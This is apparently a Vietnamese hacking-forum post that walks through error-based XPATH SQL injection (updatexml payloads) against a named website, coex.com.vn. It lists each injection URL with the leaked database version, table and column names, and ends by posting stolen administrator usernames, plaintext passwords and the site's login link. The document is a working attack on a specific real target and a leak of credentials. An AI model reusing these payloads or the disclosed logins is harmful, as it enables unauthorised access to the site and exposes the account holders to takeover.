Khai thác SQLi dạng XPATH

Khai thác SQLi dạng XPATH

Get version(), database(), user():

http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,version(),0x7c,database(), 0x7c,user()),0)-- -

XPATH syntax error: '|5.6.13-log|admin_coex|coex@loca'

Get Table:

http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)),0)-- -

Tăng Limit lên dần để get table cần tìm.
==> admin, admin_rights, admintype

Get Column:

http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns WHERE table_name=0x61646d696e limit 0,1)),0)--

Tăng Limit lên dần để get column cần tìm.
==> id, idtype, firstname, astname, email, password, status

Get tài khoản:

http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(email,0x7c,password) from admin limit 0,1)),0)-- -

------------------------------------------
ID: admin
Pass: mediamart

ID: cuonglv
Pass: levancuong

Link login: http://coex.com.vn/login.php

Checked By Quý Chủ Tịch !!!